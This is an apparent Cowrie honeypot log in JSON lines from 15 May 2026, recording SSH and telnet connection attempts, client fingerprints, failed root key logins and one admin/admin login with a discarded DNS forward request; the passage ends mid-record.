{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:cb:8d:4c:11:80:fc:5d:9f:90:52:0a:8e:ca:8a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD+G8G8zyujAIWeJR4gWmPZLq9QjfdCe+xlQwyiQsAslMUVVRY58o1UMbo1niOP5KisLuuMJlI715oxO8kYfOJ20idnW/CeK66vWXjwevBoP7PfJ89/XVxZ3jpRMriMnsww5qFRTgs0dpyCCWzosO6Hj0Y7hTnoJd9ax/V4hjnx2nVvaEv2SRhVSayIARCyAtrdwYzY8LEgSnK9WrrG/YU4OKgT/XZutuSm0nliDycrWhNNGGYQsCab+nU9Iy27/N2jXomqx0G9o1YunqLwR1Mp6plbM3660otp0nGdB+ubtO3n+Dq8bRoTRJrDtfefWeyVHtak+Q6LhUd9jjQYjjnb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.736975Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:59:27.778054Z","src_ip":"154.16.115.163","session":"0c4751062432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":45184,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f845486104","protocol":"telnet","message":"New connection: 142.93.69.27:45184 (10.17.0.5:23) [session: e6f845486104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:00.463987Z"}
{"eventid":"cowrie.session.closed","duration":120.00831484794617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:04.009099Z","src_ip":"31.134.20.206","session":"b56fd9e94278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":59486,"dst_ip":"159.203.135.109","dst_port":23,"session":"1efb9122f060","protocol":"telnet","message":"New connection: 31.134.20.206:59486 (159.203.135.109:23) [session: 1efb9122f060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:04.718205Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":45236,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae277f77964f","protocol":"telnet","message":"New connection: 142.93.69.27:45236 (10.17.0.5:23) [session: ae277f77964f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:05.683285Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"61706dc56254","protocol":"telnet","message":"New connection: 142.93.69.27:45442 (10.17.0.5:23) [session: 61706dc56254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:28.582558Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"763a8ccd5b09","protocol":"telnet","message":"New connection: 142.93.69.27:45530 (10.17.0.5:23) [session: 763a8ccd5b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:37.873649Z"}
{"eventid":"cowrie.session.closed","duration":47.012768268585205,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:47.476565Z","src_ip":"142.93.69.27","session":"e6f845486104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.90657186508179,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:00:53.589706Z","src_ip":"142.93.69.27","session":"ae277f77964f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.843708992004395,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:13.426138Z","src_ip":"142.93.69.27","session":"61706dc56254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.498530864715576,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:27.372048Z","src_ip":"142.93.69.27","session":"763a8ccd5b09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"af03d0b194ff","protocol":"ssh","message":"New connection: 87.251.64.176:57446 (10.17.0.5:22) [session: af03d0b194ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:49.460330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:49.468536Z","src_ip":"87.251.64.176","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:49.564918Z","src_ip":"87.251.64.176","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:49.853781Z","src_ip":"87.251.64.176","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:49.953227Z","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:50.051032Z","src_ip":"87.251.64.176","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:01:50.281894Z","src_ip":"87.251.64.176","session":"af03d0b194ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.74.127","src_port":37608,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae40017cf18","protocol":"ssh","message":"New connection: 144.217.74.127:37608 (10.17.0.5:22) [session: 3ae40017cf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.627604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.632551Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.655002Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018482208252,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.719938Z","src_ip":"31.134.20.206","session":"1efb9122f060","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:25:7d:31:26:61:76:a1:28:71:14:86:a2:6a:cc:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz5PuTpwP8cOFHeEeN4ZXCiyz6/bK80Y7b7eTw7j9yNO9+ZDTdl3a7ieJVq5xPeZKywv8mDozC5kbRs5xlYVsBdRBHUJq659krHrLAGFOPAaCV1ijpKnwsl/Y50WxzOAHG7Ps/s/uzqlmhk1cMUrtYBt2meAO0yuIh5CEda9opqRoeGuD8mGNKPNjxyljeaTyWISAK57/WQJvUkglqv3qV/6eR9f/rCNNe8iozYXccSk8yg5roECkS8B4EJBkHDbchvFwSPDfUH95lFrYCdbR9i8B4CL9kAm0hpTv7A8f7PpI9Ko+Zq8n6uqeTvSUamS6YC7nFKbSa3bJTSmHwWq9h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:25:7d:31:26:61:76:a1:28:71:14:86:a2:6a:cc:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.759220Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:25:7d:31:26:61:76:a1:28:71:14:86:a2:6a:cc:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz5PuTpwP8cOFHeEeN4ZXCiyz6/bK80Y7b7eTw7j9yNO9+ZDTdl3a7ieJVq5xPeZKywv8mDozC5kbRs5xlYVsBdRBHUJq659krHrLAGFOPAaCV1ijpKnwsl/Y50WxzOAHG7Ps/s/uzqlmhk1cMUrtYBt2meAO0yuIh5CEda9opqRoeGuD8mGNKPNjxyljeaTyWISAK57/WQJvUkglqv3qV/6eR9f/rCNNe8iozYXccSk8yg5roECkS8B4EJBkHDbchvFwSPDfUH95lFrYCdbR9i8B4CL9kAm0hpTv7A8f7PpI9Ko+Zq8n6uqeTvSUamS6YC7nFKbSa3bJTSmHwWq9h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.762844Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:4c:93:51:ed:c3:ba:bb:c8:b9:4b:63:f2:23:a5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgZCTV1SGQAooXWm+DqENJu5O4RdxvWbAu/J1UXRe8x1VIsdxY4S/HSS+WJ/l4Bp9GBsjsE5Zr4qy2SpejaJ+CLy9usHfsldHvv/yTlFBKBzrUQukDD0aF+Y6gkHv9J4uyyHsWl4wzVjZfmCF1eHwOBbGN5uLPQmU2x+NRWTuWdDQ37ruj6f2A7BE9sVNJjrPhQvL1rFQ5pRY1BnpT1BpTnrsEBhBoGu39y3UdDAGJVbbBNo6NFTgRe0XPNTxxz7ZO3nmynm7PnMmJY5skQTi1xzlo08ABnVUWL/sbMcHIG83pM04LERYIyxFNUYSkQE1COfmtxvISLNN5IM6xUibL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:4c:93:51:ed:c3:ba:bb:c8:b9:4b:63:f2:23:a5:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.785340Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:4c:93:51:ed:c3:ba:bb:c8:b9:4b:63:f2:23:a5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgZCTV1SGQAooXWm+DqENJu5O4RdxvWbAu/J1UXRe8x1VIsdxY4S/HSS+WJ/l4Bp9GBsjsE5Zr4qy2SpejaJ+CLy9usHfsldHvv/yTlFBKBzrUQukDD0aF+Y6gkHv9J4uyyHsWl4wzVjZfmCF1eHwOBbGN5uLPQmU2x+NRWTuWdDQ37ruj6f2A7BE9sVNJjrPhQvL1rFQ5pRY1BnpT1BpTnrsEBhBoGu39y3UdDAGJVbbBNo6NFTgRe0XPNTxxz7ZO3nmynm7PnMmJY5skQTi1xzlo08ABnVUWL/sbMcHIG83pM04LERYIyxFNUYSkQE1COfmtxvISLNN5IM6xUibL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.789608Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:f9:a1:5f:54:7f:c5:a4:24:e4:1a:2a:a1:40:1b:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxgV54JMG739Jv1yw7aj+Ifhlx0RIt3/bi9qmaYyBc7TDv1cw1oeoLz0SYxv5X7Ic5QFmMMA8tJDCTwETqY5EE1wz1rKcF/mZJ4tOlKmkFq9akAmLfatD28xVO5Yt5wvJuVAjnk0qB6DjP9xPwUyYurspLtOWS8yECR9WTr6efWEzMoLijy5WbWFFyX3Su5HbWtFe8ONCiK6OtIEBwI8SJuXKJl9XeaoyvyuWLX5yJkqWmWVe4xxQ1uCp+NqpLEKqZMX7dWWZ1Zy6ZoKYsrwRNiJKmVnUxmspJbpsvlJ6oaaQtTCQ2dZxcq2G70lbdNEDO/Wl/fL0yG6ntwsfTXUtX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:f9:a1:5f:54:7f:c5:a4:24:e4:1a:2a:a1:40:1b:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.832832Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:f9:a1:5f:54:7f:c5:a4:24:e4:1a:2a:a1:40:1b:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxgV54JMG739Jv1yw7aj+Ifhlx0RIt3/bi9qmaYyBc7TDv1cw1oeoLz0SYxv5X7Ic5QFmMMA8tJDCTwETqY5EE1wz1rKcF/mZJ4tOlKmkFq9akAmLfatD28xVO5Yt5wvJuVAjnk0qB6DjP9xPwUyYurspLtOWS8yECR9WTr6efWEzMoLijy5WbWFFyX3Su5HbWtFe8ONCiK6OtIEBwI8SJuXKJl9XeaoyvyuWLX5yJkqWmWVe4xxQ1uCp+NqpLEKqZMX7dWWZ1Zy6ZoKYsrwRNiJKmVnUxmspJbpsvlJ6oaaQtTCQ2dZxcq2G70lbdNEDO/Wl/fL0yG6ntwsfTXUtX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.837815Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:b3:1a:fd:93:38:bd:51:9c:3a:a2:5c:c6:df:9e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv2vA7IG9gyvds6Rlan2QMkmlhY+mQiKAi/9uFVACpdIJWHAKsRRnAPlQDz0cPhyYdHsnYE9DCe0+y1IOHSLFDE2rNYcxN1hJObnsdu2fiZDwG+Zwg02r5RgSod2EMzvPvfALIU77H+gXJ6m4PqFhcLhYFRjXu1m4pg4zTbt1kWNw8h5qJ1DylaOmrmMqBiHd1WoHDyVLck/2Xe91TLLAUp+dHTNfZB6G7TnwpthU06i3PiTMjJ2bvXwtCNtAed4Q6cDi+Ck7qyKQ2f2/0phLF/JLSaTYiwg2QNmPaQogS3SWUAhwCbPEu+JbE6euZaflpoWkVb5RAYrlLyblko8CDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:b3:1a:fd:93:38:bd:51:9c:3a:a2:5c:c6:df:9e:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.868972Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:b3:1a:fd:93:38:bd:51:9c:3a:a2:5c:c6:df:9e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv2vA7IG9gyvds6Rlan2QMkmlhY+mQiKAi/9uFVACpdIJWHAKsRRnAPlQDz0cPhyYdHsnYE9DCe0+y1IOHSLFDE2rNYcxN1hJObnsdu2fiZDwG+Zwg02r5RgSod2EMzvPvfALIU77H+gXJ6m4PqFhcLhYFRjXu1m4pg4zTbt1kWNw8h5qJ1DylaOmrmMqBiHd1WoHDyVLck/2Xe91TLLAUp+dHTNfZB6G7TnwpthU06i3PiTMjJ2bvXwtCNtAed4Q6cDi+Ck7qyKQ2f2/0phLF/JLSaTYiwg2QNmPaQogS3SWUAhwCbPEu+JbE6euZaflpoWkVb5RAYrlLyblko8CDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.877969Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:bf:61:bc:3b:c1:15:5d:0c:9f:c3:89:2a:1e:72:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz85tKBJDuPMFSkIyDXSd0Yy9Uuy/gkKKN0P1yZeywd/izpBIgl0Ff+o7qkLDEC/mBp30GOWdcQAvEgZJO1P8kjX5I2x136jKcG3ibNtNygg9JwL3sCmEkrMnWV8WXiYlahnH3D2SxqRQ+k5Sh/bGATYuCBRItQnMOPD6LOcHFvuR1u5ttsE9HDY/NGEK9pE7yi1zSMYwMJryUPVJIEtJ7GkusaEN80EjUfc1gLTZcvq2LuZpvdKSeimnnWVIyuZzAstd/PZ8QXBLrd1EMpf/nWyXElFVaMIQNXoNJHAIL8tVBrx6xatTbfTtRP/kfZQDeJoOGU9qF7kHDcbyw+QHgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:bf:61:bc:3b:c1:15:5d:0c:9f:c3:89:2a:1e:72:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.902361Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:bf:61:bc:3b:c1:15:5d:0c:9f:c3:89:2a:1e:72:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz85tKBJDuPMFSkIyDXSd0Yy9Uuy/gkKKN0P1yZeywd/izpBIgl0Ff+o7qkLDEC/mBp30GOWdcQAvEgZJO1P8kjX5I2x136jKcG3ibNtNygg9JwL3sCmEkrMnWV8WXiYlahnH3D2SxqRQ+k5Sh/bGATYuCBRItQnMOPD6LOcHFvuR1u5ttsE9HDY/NGEK9pE7yi1zSMYwMJryUPVJIEtJ7GkusaEN80EjUfc1gLTZcvq2LuZpvdKSeimnnWVIyuZzAstd/PZ8QXBLrd1EMpf/nWyXElFVaMIQNXoNJHAIL8tVBrx6xatTbfTtRP/kfZQDeJoOGU9qF7kHDcbyw+QHgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.906536Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:04.968930Z","src_ip":"144.217.74.127","session":"3ae40017cf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":42606,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcecd605482e","protocol":"telnet","message":"New connection: 31.134.20.206:42606 (159.203.135.109:23) [session: bcecd605482e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:06.649378Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":42782,"dst_ip":"159.203.135.109","dst_port":23,"session":"257088ab5b78","protocol":"telnet","message":"New connection: 31.134.20.206:42782 (159.203.135.109:23) [session: 257088ab5b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:02:07.563588Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.175.148.122","src_port":35962,"dst_ip":"10.17.0.5","dst_port":22,"session":"5719a6ab6b5d","protocol":"ssh","message":"New connection: 46.175.148.122:35962 (10.17.0.5:22) [session: 5719a6ab6b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:04.676080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:04:04.696434Z","src_ip":"46.175.148.122","session":"5719a6ab6b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr